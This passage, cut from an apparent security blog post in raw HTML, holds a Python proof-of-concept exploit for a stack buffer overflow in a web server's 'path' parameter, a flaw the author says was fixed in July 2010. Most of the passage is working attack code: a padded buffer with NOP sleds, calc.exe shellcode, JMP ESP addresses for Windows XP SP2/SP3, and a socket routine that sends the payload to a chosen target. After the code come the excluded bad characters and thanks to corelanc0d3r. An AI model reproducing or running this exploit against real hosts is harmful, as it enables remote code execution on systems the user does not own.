class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;Greetz out to:&amp;nbsp; corelanc0d3r&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python comments"&gt;http://corelan.be:8800/index.php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;#&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;"""&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;# Date Found : July 21, 2010&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;# Vendor notified on July 23, 2010&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;# Issue fixed and new version 1.7.1.02 released on July 23, 2010&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python keyword"&gt;if&lt;/code&gt; &lt;code class="python functions"&gt;len&lt;/code&gt;&lt;code class="python plain"&gt;(sys.argv) !&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python value"&gt;5&lt;/code&gt;&lt;code class="python plain"&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python functions"&gt;print&lt;/code&gt; &lt;code class="python string"&gt;"Usage: ./poc.py &amp;lt;Target IP&amp;gt; &amp;lt;Port&amp;gt; &amp;lt;User&amp;gt; &amp;lt;Password&amp;gt;"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python plain"&gt;sys.exit(&lt;/code&gt;&lt;code class="python value"&gt;1&lt;/code&gt;&lt;code class="python plain"&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;target &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python plain"&gt;sys.argv[&lt;/code&gt;&lt;code class="python value"&gt;1&lt;/code&gt;&lt;code class="python plain"&gt;]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;port &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python functions"&gt;int&lt;/code&gt;&lt;code class="python plain"&gt;(sys.argv[&lt;/code&gt;&lt;code class="python value"&gt;2&lt;/code&gt;&lt;code class="python plain"&gt;])&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;user &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python plain"&gt;sys.argv[&lt;/code&gt;&lt;code class="python value"&gt;3&lt;/code&gt;&lt;code class="python plain"&gt;]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;pwd &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python plain"&gt;sys.argv[&lt;/code&gt;&lt;code class="python value"&gt;4&lt;/code&gt;&lt;code class="python plain"&gt;]&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;auth &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python plain"&gt;base64.b64encode(user&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python string"&gt;":"&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python plain"&gt;pwd)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"A"&lt;/code&gt;&lt;code class="python keyword"&gt;*&lt;/code&gt;&lt;code class="python value"&gt;1963&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x90"&lt;/code&gt;&lt;code class="python keyword"&gt;*&lt;/code&gt;&lt;code class="python value"&gt;179&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;# 165 bytes Calc.exe shellcode / badchars identified and excluded&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python plain"&gt;(&lt;/code&gt;&lt;code class="python string"&gt;"\xd9\xca\x29\xc9\xb1\x24\xbf\x3f\xc7\x66\x9f\xd9\x74\x24\xf4\x5e"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\x31\x7e\x17\x03\x7e\x17\x83\xf9\xc3\x84\x6a\xf9\x24\x0c\x95\x01"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\xb5\x06\xd0\x3d\x3e\x64\xde\x45\x41\x7a\x6b\xfa\x59\x0f\x33\x24"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\x5b\xe4\x85\xaf\x6f\x71\x14\x41\xbe\x45\x8e\x31\x45\x85\xc5\x4e"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\x87\xcc\x2b\x51\xc5\x3a\xc7\x6a\x9d\x98\x2c\xf9\xf8\x6a\x73\x25"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\x02\x86\xea\xae\x08\x13\x78\xef\x0c\xa2\x95\x84\x31\x2f\x68\x71"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\xc0\x73\x4f\x81\x10\xba\x4f\xed\x1d\xfd\x7f\x68\xe1\x86\x73\xf9"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\xa2\x7a\x07\x8d\x3e\x2e\x9c\x05\x37\xdb\xaa\x5e\xc7\xab\xad\x60"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\xc8\x40\xc5\x5c\x97\x67\xe0\xfc\x71\x01\xf4\x7f\xbd\x6a\x55\x17"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\xce\x07\x51\xb8\x46\x80\xa4\xcc\x99\xe7\xa7\x37\xc6\x66\x34\xd4"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python string"&gt;"\x27\x0c\xbc\x7f\x38"&lt;/code&gt;&lt;code class="python plain"&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x90"&lt;/code&gt;&lt;code class="python keyword"&gt;*&lt;/code&gt;&lt;code class="python value"&gt;15&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;#[ XP SP2 ] -&amp;gt; "\x78\x16\xF3\x77"&amp;nbsp;&amp;nbsp;&amp;nbsp; #0x77F31678&amp;nbsp; JMP ESP&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x78\x16\xF3\x77"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;#[ XP SP3 ] -&amp;gt; "\x3F\x71\x49\x7E"&amp;nbsp;&amp;nbsp; #0x7E49713F&amp;nbsp; JMP ESP&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python comments"&gt;#buf+="\x3F\x71\x49\x7E"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x90"&lt;/code&gt;&lt;code class="python keyword"&gt;*&lt;/code&gt;&lt;code class="python value"&gt;30&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x66\x05\x7A\x03"&lt;/code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code class="python comments"&gt;#ADD AX,037A&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x66\x05\x7A\x03"&lt;/code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code class="python comments"&gt;#ADD AX,037A&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x66\x05\x7A\x03"&lt;/code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code class="python comments"&gt;#ADD AX,037A&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt;&lt;code class="python string"&gt;"\x50\xc3"&lt;/code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;code class="python comments"&gt;#PUSH EAX + RET&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python functions"&gt;print&lt;/code&gt; &lt;code class="python string"&gt;"[+] Launching exploit against "&lt;/code&gt; &lt;code class="python keyword"&gt;+&lt;/code&gt; &lt;code class="python plain"&gt;target &lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt; &lt;code class="python string"&gt;"..."&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;head &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python string"&gt;"GET /list.html?path="&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python plain"&gt;buf&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python string"&gt;" HTTP/1.1 \r\n"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;head &lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python string"&gt;"Host: \r\n"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python plain"&gt;head &lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python string"&gt;"Authorization: Basic "&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python plain"&gt;auth&lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt;&lt;code class="python string"&gt;"\r\n"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python keyword"&gt;try&lt;/code&gt;&lt;code class="python plain"&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python plain"&gt;s &lt;/code&gt;&lt;code class="python keyword"&gt;=&lt;/code&gt; &lt;code class="python plain"&gt;socket.socket(socket.AF_INET,socket.SOCK_STREAM)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python plain"&gt;s.connect((target, port))&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python plain"&gt;s.send(head &lt;/code&gt;&lt;code class="python keyword"&gt;+&lt;/code&gt; &lt;code class="python string"&gt;"\r\n"&lt;/code&gt;&lt;code class="python plain"&gt;)&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python functions"&gt;print&lt;/code&gt; &lt;code class="python string"&gt;"[!] Payload sent..."&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python plain"&gt;s.close()&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="content"&gt;&lt;code class="python keyword"&gt;except&lt;/code&gt;&lt;code class="python plain"&gt;:&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;code class="spaces"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class="python functions"&gt;print&lt;/code&gt; &lt;code class="python string"&gt;"[x] Error!"&lt;/code&gt;&lt;/blockquote&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;I actually missed out specifying the bad chars which I excluded while generating the payload. So here they are:&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;blockquote style="font-family: Verdana,sans-serif;"&gt;\x0a \x20 \x25 \x26&lt;/blockquote&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;I should be able to post a video showing how this exploit was prepared &amp;amp; tested. Watch out on this space!&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif;"&gt;Shoutz to corelanc0d3r! :)&lt;/div&gt;&lt;div style="font-family: 